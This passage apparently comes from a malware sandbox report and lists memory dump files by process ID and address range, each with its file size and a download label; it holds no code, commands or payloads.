memory/2156-70-0x0000000000330000-0x0000000000350000-memory.dmp

Filesize
128KB

Download
memory/2156-76-0x00000000003E0000-0x0000000000400000-memory.dmp

Filesize
128KB

Download
memory/2156-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2156-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2192-0-0x000000013F9F0000-0x000000013FC01000-memory.dmp

Filesize
2.1MB

Download
memory/2192-29-0x000000013F9F0000-0x000000013FC01000-memory.dmp

Filesize
2.1MB

Download
memory/2192-26-0x000000013F9F0000-0x000000013FC01000-memory.dmp

Filesize
2.1MB

Download
memory/2560-58-0x0000000001090000-0x0000000001110000-memory.dmp

Filesize
512KB

Download
memory/2560-56-0x0000000001090000-0x0000000001110000-memory.dmp

Filesize
512KB

Download
memory/2560-60-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-53-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-54-0x0000000001090000-0x0000000001110000-memory.dmp

Filesize
512KB

Download
memory/2560-55-0x0000000001090000-0x0000000001110000-memory.dmp

Filesize
512KB

Download
memory/2560-57-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-22-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2644-24-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2644-27-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2644-18-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/2644-25-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2644-20-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2644-21-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2644-19-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/2644-23-0x00000000025A0000-0x0000000002620000-memory.dmp

Filesize
512KB

Download
memory/2660-36-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-41-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-40-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2660-39-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2660-38-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2660-37-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/2808-81-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2808-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2904-59-0x000000013FA20000-0x000000013FC31000-memory.dmp

Filesize
2.1MB

Download
memory/2904-45-0x000000013FA20000-0x000000013FC31000-memory.dmp

Filesize
2.1MB

Download
memory/2904-69-0x000000013FA20000-0x000000013FC31000-memory.dmp

Filesize
2.1MB

Download